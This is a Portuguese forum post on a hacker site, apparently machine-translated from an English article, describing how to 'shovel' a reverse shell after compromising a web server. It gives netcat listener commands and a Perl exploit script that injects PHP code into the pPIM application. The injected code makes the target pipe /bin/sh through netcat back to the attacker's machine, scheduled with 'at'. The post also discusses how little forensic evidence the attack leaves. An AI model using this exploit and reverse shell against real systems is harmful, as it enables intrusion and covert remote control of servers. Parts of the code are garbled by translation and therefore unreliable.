COVIL HACKER

, ! .


» COVIL HACKER » Vulnerabilidades de aplicativos da Web » Escavação de shell pós-compromisso


Escavação de shell pós-compromisso

1 2 2

1

30 de novembro -0001
A remoção de um shell é um processo pelo qual um invasor pode obter acesso interativo a um host comprometido. O que distingue um shell com pá é que o shell interativo é executado na máquina do invasor, e não no alvo. Isso permite que um invasor ignore as regras de firewall em um alvo, pois o alvo envia uma solicitação para a máquina do invasor e apresenta o shell lá. O invasor simplesmente usa uma conexão interativa em seu host local para enviar comandos ao host remoto e receber a saída localmente.

Para cavar um projétil, um atacante deve ter alguma habilidade para executar comandos no alvo. Na prática, isso geralmente envolve algum tipo de vulnerabilidade de execução remota de código no destino. A presença dessa falha dá ao invasor controle sobre o processo do servidor da Web, mas geralmente envolve o envio de comandos às cegas para o alvo. Em outras palavras, a falha pode permitir a execução do comando, mas não apresenta ao invasor os resultados ou a saída do comando. Ao abrir um shell, o invasor pode obter interatividade total - emitindo comandos e visualizando os resultados de maneira conveniente.

Configurando a conexão
Para remover um shell, a máquina atacante deve ter duas sessões netcat em execução. Uma sessão é para emitir comandos que serão retransmitidos para o destino, a segunda sessão é usada para receber a saída de comandos do destino. Para configurar esses comandos, o invasor deve usar o netcat com o sinalizador "-l" para abrir uma porta de escuta.

Netcat é "utilitário de rede em destaque que lê e grava dados em conexões de rede, usando o protocolo TCP/IP". Você pode baixar o netcat do SourceForge . Observe que muitas distribuições baseadas em Red Hat (CentOS, RHEL, Fedora) têm o netcat instalado, mas a versão instalada não suporta o sinalizador "-l". Observe também que diferentes distribuições podem se referir ao programa netcat de maneiras diferentes, algumas podem usar "nc" e outras podem usar "netcat", então verifique seu alvo e sua plataforma de ataque para confirmar sua sintaxe e suporte disponível para sinalizadores de escuta.

A fim de estabelecer a base para nosso shell escavado, configuraremos duas instâncias de netcat. O primeiro escutará na porta 3000, para emitir comandos, e o segundo escutará na porta 3001 e coletará a saída do comando. É mais fácil abrir duas janelas de terminal para usar esse método com eficácia. No primeiro terminal digite o seguinte comando:

# nc -vvn -l -p 3000
No segundo terminal emita o comando:

# nc -vvn -l -p 3001
Depois que essas duas sessões estiverem funcionando, é hora de passar para a plataforma de destino.

Pá a Shell
Para os fins deste artigo, presumiremos que o alvo está executando o pPIM, um aplicativo baseado em PHP que possui várias vulnerabilidades de execução remota de código. A primeira parte de nosso exploit é escrever um script de shell na máquina remota. Este script de shell configurará o retorno de chamada netcat para nossa caixa de ataque, que está em 192.168.0.51. Assim que este script de shell for escrito, usaremos o comando 'at' para agendar sua execução. Neste exemplo, não nos preocuparemos em limpar nossos rastros ocultando qualquer evidência de que comprometemos o host.

Para escrever o shell script, executaremos o seguinte script Perl que comprometerá o destino localizado em 192.168.0.2.

#!/usr/bin/perl
#
# Carregador pPIM por Justin C. Klein Keane
# Usado para carregar o script de shell para um site pPIM de destino
#
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);

$ua = LWP::UserAgent->new();
$pedido = HTTP::Pedido->novo();

$resposta = $ua->request( POST 'http://192.168.0.2/ppim/makegroup.php?login=1',
        Content_Type => 'dados do formulário',
        Conteúdo => [
                'groupname' => 'hacking',
                'enviar' => 'Criar+Grupo'
        ],
);

$resposta = $ua->request( POST 'http://192.168.0.2/ppim/makegroup.php?login=1',
Content_Type => 'dados do formulário',
Conteúdo =>
        [
                'linkname' => 'teste',
                'linkurl' => '";$url=system(\'echo "netcat -vvn 192.168.0.51 3000 | /bin/sh | netcat -vvn 192.168.0.51 3001" > /tmp/foo.bar\');$ foo="',
                'linkdescription' => 'teste',
                'groupname' => 'hacking',
                'linksubmit' => 'Criar+Link'
        ],
);
$ua->get('http://192.168.0.2/ppim/links.php?login=1&group=hacking');

$resposta = $ua->request( POST 'http://192.168.0.2/ppim/makegroup.php?login=1',
Content_Type => 'dados do formulário',
Conteúdo =>
        [
                'linkname' => 'teste',
                'linkurl' => '";$url=system(\'em %2B1 minutos -f /tmp/foo.bar\');$foo="',
                'linkdescription' => 'teste',
                'groupname' => 'hacking',
                'linksubmit' => 'Criar+Link'
        ],
);
$ua->get('http://192.168.0.2/ppim/links.php?login=1&group=hacking');
Uma vez que este comando é executado, temos que esperar um minuto para que o "at" agende a escavadeira remota. Depois de um minuto, você pode digitar comandos na primeira janela do terminal e observar a saída na segunda:

https://forumupload.ru/uploads/001b/c9/09/2/t182995.jpg

Embora o shell com pá forneça conveniência e interatividade, além de ignorar as regras do firewall, há desvantagens nessa abordagem. Do ponto de vista forense, este ataque deixa para trás um pouco de evidência. No Apache, o log de erros do httpd registrará erros que parecem estranhos e alertará qualquer administrador astuto de que algo está acontecendo. Uma amostra dessa atividade de log se parece com o seguinte:

[Wed Feb 25 12:15:43 2009] warning: commands will be executed using (in order) a) $SHELL b) login shell c) /bin/sh job 9 at 2009-02-25 12:16

Embora isso seja óbvio, em geral o ataque é bastante silencioso. Depois que o shell é removido, não há registro dos comandos reais que são executados, o que é uma grande melhoria em relação à maioria dos vetores de execução remota de código. Em geral, as vulnerabilidades de execução remota de código aproveitam a manipulação de variáveis, que geralmente é registrada nos logs do servidor Apache. Nesse ataque, há alguma atividade de registro para indicar jogo sujo, mas é minimizada. A seguir, um trecho do log de acesso do Apache:

192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "POST /ppim/makegroup.php?login=1 HTTP/1.1" 302 157 "-" "libwww-perl/5.808" 192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "POST /ppim/makegroup.php?login=1 HTTP/1.1" 302 - "-" "libwww-perl/5.808" 192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "POST /ppim/makegroup.php?login=1 HTTP/1.1" 302 - "-" "libwww-perl/5.808" 192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "GET /ppim/links.php?login=1&group=hacking HTTP/1.1" 200 2277 "-" "libwww-perl/5.808" 192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "GET /ppim/links.php?login=1&group=hacking HTTP/1.1" 200 2277 "-" "libwww-perl/5.808"

Esse log mostra claramente o comportamento do script. Embora seja possível mascarar as informações do agente do navegador "libwww-perl/5.808" usando o módulo LWP do Perl, você também notará que o mesmo IP faz quatro solicitações da Web simultâneas, todas ao mesmo tempo (ou em um segundo). Esta é uma evidência clara do comportamento do script, no entanto, não há mais evidências do compromisso. Como o Apache não possui um diretório inicial, não há histórico bash ou outro mecanismo que possa alertar um administrador sobre o que aconteceu. Isso irá confundir severamente qualquer análise forense, porque há muito pouco caminho para os investigadores seguirem.

http://www.madirish.net/207

0

2


» COVIL HACKER » Vulnerabilidades de aplicativos da Web » Escavação de shell pós-compromisso


|